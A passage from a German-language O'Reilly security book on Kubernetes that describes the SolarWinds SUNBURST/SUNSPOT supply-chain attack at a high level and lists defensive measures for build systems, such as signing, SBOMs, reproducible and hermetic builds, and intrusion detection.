  • Ausfall (Anwendung funktioniert nicht mehr mit dem aktualisierten System oder externen APIs)

  • Aktualisieren (Anwendungscode ändern)

  • Patch (um die Versionen der Abhängigkeiten explizit zu aktualisieren)

  • Rebuild (um neue Server Abhängigkeiten zu ziehen)

Gegen SUNBURST verteidigen

Würden dich also die Techniken in diesem Kapitel vor einem SUNBURST-ähnlichen Angriff retten? Schauen wir uns an, wie es funktioniert hat.

Die Angreifer verschafften sich am 4. September 2019 Zugang zu den SolarWinds-Systemen(Abbildung 4-10). Dies geschah möglicherweise durch eine Spear-Phishing-E-Mail-Attacke, die eine weitere Eskalation in die Systeme von SolarWinds ermöglichte, oder durch eine Software-Fehlkonfiguration, die sie in der Build-Infrastruktur oder auf den Internet-Servern fanden.

haku 0410
Abbildung 4-10. SUNSPOT-Zeitleiste

Die Bedrohungsakteure blieben eine Woche lang im Verborgenen und begannen dann mit dem Testen des SUNSPOT-Injektionscodes, der schließlich das SolarWinds-Produkt kompromittieren sollte. Diese Phase verlief zwei Monate lang unauffällig.

Die interne Erkennung könnte die Angreifer hier entdeckt haben, aber die Build-Infrastruktur wird selten dem gleichen Maß an Sicherheitsprüfung, Eindringlingserkennung und Überwachung unterzogen wie Produktionssysteme. Und das, obwohl sie Code für die Produktion oder Kunden liefert. Das ist etwas, das wir mit unseren granularen Sicherheitskontrollen für Container angehen können. Natürlich ist es schwierig, eine Hintertür direkt in ein Hostsystem zu entdecken, es sei denn, die Intrusion Detection läuft auf dem Host, was bei gemeinsam genutzten Build-Knoten, die zwangsläufig viele Aufträge für ihre Kunden ausführen, problematisch sein kann.

Fast sechs Monate nach der anfänglichen Kompromittierung der Build-Infrastruktur wurde die SUNSPOT-Malware in Umlauf gebracht. Einen Monat später wurde die berüchtigte SolarWinds Hotfix 5 DLL, die das bösartige Implantat enthielt, den Kunden zur Verfügung gestellt, und sobald der Bedrohungsakteur bestätigte, dass die Kunden infiziert waren, entfernte er seine Malware von den Build-VMs.

Es dauerte weitere sechs Monate, bis die Kundeninfektionen festgestellt wurden.

Diese SUNSPOT-Malware änderte den Quellcode unmittelbar vor dem Kompilieren und sofort danach wieder in seine ursprüngliche Form, wie in Abbildung 4-11 dargestellt. Dazu musste das Dateisystem beobachtet und sein Inhalt verändert werden.

SUNSPOT Malware
Abbildung 4-11. SUNSPOT-Malware

Ein Signierungstool, das seine Eingaben und Ausgaben verifiziert (wie in-toto) und dann einen Unterprozess aufruft, um einen Build-Schritt durchzuführen, kann gegen diese Variante des Angriffs immun sein, obwohl es die Sicherheit in eine Race Condition zwischen der in-toto Hash-Funktion und der Malware, die das Dateisystem verändert, verwandeln kann.

Bedenke, dass ein Angreifer, der die Kontrolle über deine Build-Umgebung hat, potenziell alle Dateien darin verändern kann. Das ist zwar schlecht, aber er kann keine Signaturen regenerieren, die außerhalb des Builds erstellt wurden: Deshalb sind deine kryptografisch signierten Artefakte sicherer als unsignierte binäre Blobs oder Git-Code. Die Manipulation von signierten oder mit Prüfsummen versehenen Artefakten kann entdeckt werden, da Angreifer wahrscheinlich nicht über die privaten Schlüssel verfügen, um z. B. manipulierte Daten zu signieren.

SUNSPOT hat die Dateien geändert, die kompiliert werden sollten. Bei einem Container-Build besteht das gleiche Problem: Das lokale Dateisystem muss vertrauenswürdig sein. Das Signieren der Eingaben und die Validierung der Ausgaben tragen zwar dazu bei, diesen Angriff zu entschärfen, aber ein motivierter Angreifer, der die volle Kontrolle über ein Build-System hat, kann unmöglich von den Build-Aktivitäten abgegrenzt werden.

Es ist unter Umständen nicht möglich, ein Build-System vollständig zu schützen, ohne alle Empfehlungen zur Sicherheit der Lieferkette vollständig umzusetzen. Die Risikobereitschaft deines Unternehmens sollte ausschlaggebend dafür sein, wie viel Aufwand du für den Schutz dieses wichtigen und anfälligen Teils deines Systems treibst: Kritische Infrastrukturprojekte möchten zum Beispiel die Hardware und Software, die sie erhalten, vollständig überprüfen, die Vertrauenskette in Hardware-Modulen so weit wie möglich verankern und die Mitarbeiter, die mit den Build-Systemen interagieren dürfen, streng kontrollieren. Für die meisten Organisationen ist dies nicht praktikabel.

Tipp

Nixpkgs (wird in NixOS verwendet) bootet deterministisch von eine kleine Sammlung von Tools. Dies ist vielleicht das Nonplusultra in Sachen reproduzierbarer Builds, mit einigen nützlichen Sicherheitsnebeneffekten; es ermöglicht durchgehendes Vertrauen und Reproduzierbarkeit für alle damit erstellten Images.

Trustix, ein weiteres Nix-Projekt ( ), vergleicht Build-Ausgaben mit einem Merkle-Baum-Protokoll über mehrere nicht vertrauenswürdige Build-Server, um festzustellen, ob ein Build kompromittiert wurde.

Diese Empfehlungen können zwar nicht wirklich verhindern, dass die Lieferkette wie bei SUNBURST kompromittiert wird, aber sie können einige der Angriffsvektoren schützen und dein Gesamtrisiko verringern. So schützt du dein Build-System:

  • Gib Entwicklern Root-Zugriff auf Integrations- und Testumgebungen, nicht auf Build- und Paketierungssysteme.

  • Verwende eine ephemere Build-Infrastruktur und schütze Builds vor Cache Poisoning.

  • Erstelle und verteile SBOMs, damit die Verbraucher die Artefakte validieren können.

  • Führe eine Einbruchserkennung auf den Build-Servern durch.

  • Scanne Open-Source-Bibliotheken und Betriebssystem-Pakete.

  • Erstelle reproduzierbare Builds auf einer verteilten Infrastruktur und vergleiche die Ergebnisse, um Manipulationen zu erkennen.

  • Führe hermetische, in sich geschlossene Builds aus, die nur das verwenden, was ihnen zur Verfügung gestellt wird (anstatt andere Systeme oder das Internet zu nutzen), und vermeide Entscheidungslogik in Build-Skripten.

  • Halte Builds einfach und übersichtlich und überprüfe die Build-Skripte wie jede andere Software.

Fazit

Angriffe auf die Lieferkette lassen sich nur schwer vollständig abwehren. Bösartige Software in öffentlichen Containerregistrierungen wird oft eher entdeckt als verhindert, das Gleiche gilt für Anwendungsbibliotheken, und die potenzielle Unsicherheit ist Teil der Realität bei der Verwendung von Software Dritter.

Das SLSA Framework schlägt die Meilensteine vor, die du erreichen musst, um deine Lieferkette zu sichern - vorausgesetzt, deine Build-Infrastruktur ist bereits sicher! Das Software Supply Chain Security Paper beschreibt konkrete Muster und Praktiken für Source Code, Materialien, Build Pipelines, Artefakte und Deployments, die dich auf deiner Reise durch die Sicherheit deiner Lieferkette begleiten.

Das Scannen von Container-Images und Git-Repositories auf veröffentlichte CVEs ist das Minimum an Sicherheit, das eine Cloud Native Anwendung bieten kann. Wenn du davon ausgehst, dass alle Workloads potenziell feindlich sind, sollten der Sicherheitskontext und die Konfiguration deines Containers auf die Empfindlichkeit der Workloads abgestimmt sein. Container seccomp und LSM-Profile sollten immer so konfiguriert werden, dass sie vor neuem, undefiniertem Verhalten oder Systemaufrufen aus einer frisch kompromittierten Abhängigkeit schützen.

Signiere deine Build-Artefakte mit cosign, Notary und in-toto während CI/CD und validiere ihre Signaturen, wenn sie konsumiert werden. Verteile SBOMs, damit Konsumenten deine Abhängigkeitskette auf neue Schwachstellen überprüfen können. Diese Maßnahmen tragen zwar nur zu einer breiteren Abdeckung der Lieferkette bei, aber sie frustrieren Angreifer und verringern das Risiko von BCTL, Opfer von Drive-by-Container-Piraten zu werden.

Get Kubernetes hacken now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.